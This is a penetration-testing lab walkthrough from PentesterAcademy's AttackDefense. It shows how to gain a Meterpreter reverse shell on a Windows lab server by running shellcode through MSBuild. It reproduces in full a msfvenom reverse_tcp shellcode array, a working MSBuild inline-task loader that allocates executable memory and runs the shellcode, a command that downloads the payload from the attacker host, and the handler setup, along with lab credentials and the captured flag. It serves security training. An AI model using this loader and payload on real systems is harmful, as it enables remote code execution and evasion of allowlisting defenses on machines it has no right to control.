
ATTACK
DEFENSE
by PentesterAcademy

Name	Windows: MSBuild Shellcode Execution
URL	https://attackdefense.com/challengedetails?cid=2401
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Check the target machine's IP address.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.26.207
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap --top-ports 10000 10.0.26.207

```
root@attackdefense:~# nmap --top-ports 10000 10.0.26.207
Starting Nmap 7.70 ( https://nmap.org ) at 2021-09-03 10:57 IST
Nmap scan report for 10.0.26.207
Host is up (0.057s latency).
Not shown: 8300 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
47001/tcp open  winrm

Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds
root@attackdefense:~#
```

Step 2: We have discovered that the winrm server is running on port 5985. By default, the WinRM service uses port 5985 for HTTP. We have the credentials to access the remote server, we will run the Linux PowerShell to connect to the remote server via PSSession.

Running PowerShell

Command: pwsh

```
root@attackdefense:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

PS /root>
```

We have successfully launched Powershell.

Step 3: Store target server credentials in creds variable.

Command: $cred = Get-Credential

Also, enter the target server credentials for the connection. administrator:chocolate_123321

```
PS /root> $cred = Get-Credential

PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: ****************

PS /root>
```

Connecting to the target server using PSSession.

Commands: Enter-PSSession -ComputerName 10.0.26.207 -Authentication Negotiate -Credential $cred

```
PS /root> Enter-PSSession -ComputerName 10.0.26.207 -Authentication Negotiate  -Credential $cred
[10.0.26.207]: PS C:\Users\Administrator\Documents>
```

We are successfully connected to the target server. We now have full control of the server.

Step 4: Check the IP configuration information on the remote server.

Command: ipconfig /all

```
[10.0.26.207]: PS C:\Users\Administrator\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : EC2AMAZ-3BQCO5U
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : ap-southeast-1.ec2-utilities.amazonaws.com
                                       ap-southeast-1.compute.internal

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
   Description . . . . . . . . . . . : AWS PV Network Device #0
   Physical Address. . . . . . . . . : 06-78-A1-FB-6F-D0
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::2d32:e57a:c10b:4efd%4(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.0.26.207(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Lease Obtained. . . . . . . . . . : Friday, September 3, 2021 5:24:58 AM
   Lease Expires . . . . . . . . . . : Friday, September 3, 2021 6:24:58 AM
   Default Gateway . . . . . . . . . : 10.0.16.1
   DHCP Server . . . . . . . . . . . : 10.0.16.1
   DHCPv6 IAID . . . . . . . . . . . : 118418632
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-C3-6A-01-06-78-A1-FB-6F-D0
```

Step 5: We will be running the MSBuild utility to execute the shellcode to gain the meterpreter shell on the attacker machine.

Generate a C Sharp shellcode

Open another terminal and type the below commands.

Commands: ip addr
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=4444 -f csharp

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: ip_vti0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
    link/ipip 0.0.0.0 brd 0.0.0.0
1605: eth0@if1606: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.5/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
1607: eth1@if1608: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:0a:0f:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.10.15.2/24 brd 10.10.15.255 scope global eth1
       valid_lft forever preferred_lft forever
```

```
root@attackdefense:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=4444 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of csharp file: 1759 bytes
byte[] buf = new byte[341] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,
0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x0a,0x0f,0x02,
0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,
0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,
0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,
0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,
0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,
0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,
0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,
0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,
0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
root@attackdefense:~#
```

Copy the generated shellcode in the below mentioned MSBuild XML file

```
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <!-- This inline task executes shellcode. -->
         <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
SimpleTasks.csproj -->
         <!-- Save This File And Execute The Above Command -->
         <!-- Author: Casey Smith, Twitter: @subTee -->
         <!-- License: BSD 3-Clause -->
        <Target Name="Hello">
          <ClassExample />
        </Target>
        <UsingTask
          TaskName="ClassExample"
          TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.T
asks.v4.0.dll" >
          <Task>

            <Code Type="Class" Language="cs">
            <![CDATA[
            using System;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class ClassExample :  Task, ITask
            {
              private static UInt32 MEM_COMMIT = 0x1000;
              private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
              [DllImport("kernel32")]
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
              [DllImport("kernel32")]
                private static extern IntPtr CreateThread(
                UInt32 lpThreadAttributes,
                UInt32 dwStackSize,
                UInt32 lpStartAddress,
                IntPtr param,
```

```
  UInt32 dwCreationFlags,
  ref UInt32 lpThreadId
  );
[DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(
  IntPtr hHandle,
  UInt32 dwMilliseconds
  );
public override bool Execute()
{
    //replace with your own shellcode
  byte[] shellcode = new byte[] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,
0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x0a,0x0f,0x02,
0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,
0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,
0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,
0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,
0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,
0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,
0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,
0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,
0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };

    UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
```

```
                    Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr),
shellcode.Length);
                    IntPtr hThread = IntPtr.Zero;
                    UInt32 threadId = 0;
                    IntPtr pinfo = IntPtr.Zero;
                    hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref
threadId);
                    WaitForSingleObject(hThread, 0xFFFFFFFF);
                    return true;
                }
            }
            ]]>
</Code>
</Task>
</UsingTask>
</Project>
```

Step 6: Copy the above code and paste it into the /var/www/html directory and start the apache web server.

Command: cd /var/www/html
rm *
nano malicious.xml
/etc/init.d/apache2 start
ls

```
root@attackdefense:~# cd /var/www/html
root@attackdefense:/var/www/html# rm *
root@attackdefense:/var/www/html# nano malicious.xml
root@attackdefense:/var/www/html# /etc/init.d/apache2 start
Starting Apache httpd web server: apache2.
root@attackdefense:/var/www/html# ls
malicious.xml
root@attackdefense:/var/www/html#
```

Step 7: Start Metasploit multi-handler.

Commands: msfconsole -q

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.2
set LPORT 4444
exploit

```
root@attackdefense:~# msfconsole -q
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.15.2
LHOST => 10.10.15.2
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
```

Step 8: Download the malicious.xml file on the target machine.

Commands: iwr -UseBasicParsing -Uri http://10.10.15.2/malicious.xml -OutFile C:\Users\Public\work.xml
ls C:\Users\Public

```
[10.0.26.207]: PS C:\Users\Administrator\Documents> iwr -UseBasicParsing -Uri http
://10.10.15.2/malicious.xml -OutFile C:\Users\Public\work.xml
[10.0.26.207]: PS C:\Users\Administrator\Documents> ls C:\Users\Public


    Directory: C:\Users\Public


Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

d-r---        11/14/2018   4:10 PM                Documents

d-r---         9/15/2018   7:19 AM                Downloads

d-r---         9/15/2018   7:19 AM                Music

d-r---         9/15/2018   7:19 AM                Pictures

d-r---         9/15/2018   7:19 AM                Videos

-a----          9/3/2021   5:37 AM           3975 work.xml


[10.0.26.207]: PS C:\Users\Administrator\Documents>
```

Step 9: Run the shellcode using the MSBuild utility.

Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\work.xml

```
[10.0.26.207]: PS C:\Users\Administrator\Documents> C:\Windows\Microsoft.NET\Framework\v4.
0.30319\MSBuild.exe C:\Users\Public\work.xml
Microsoft (R) Build Engine version 4.7.3190.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 9/3/2021 5:41:57 AM.
```

We have received a meterpreter shell successfully.

```
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Sending stage (176195 bytes) to 10.0.26.207
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.26.207:49731)

meterpreter >
```

Step 10: Read the flag.

Commands: sessions -i 1
cd C:\\Users\\Administrator\\Desktop
ls
cat flag.txt

```
msf5 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2020-10-05 18:50:34 +0530  desktop.ini
100666/rw-rw-rw-  32    fil   2021-06-16 14:22:13 +0530  flag.txt

meterpreter > cat flag.txt
df30cb178eb8e37728f39b3e6551c8demeterpreter >
```

We have discovered the flag.

Flag: df30cb178eb8e37728f39b3e6551c8de

References

1. Powershell on Linux (https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7)
2. Using MSBuild to Execute Shellcode in C# (https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c)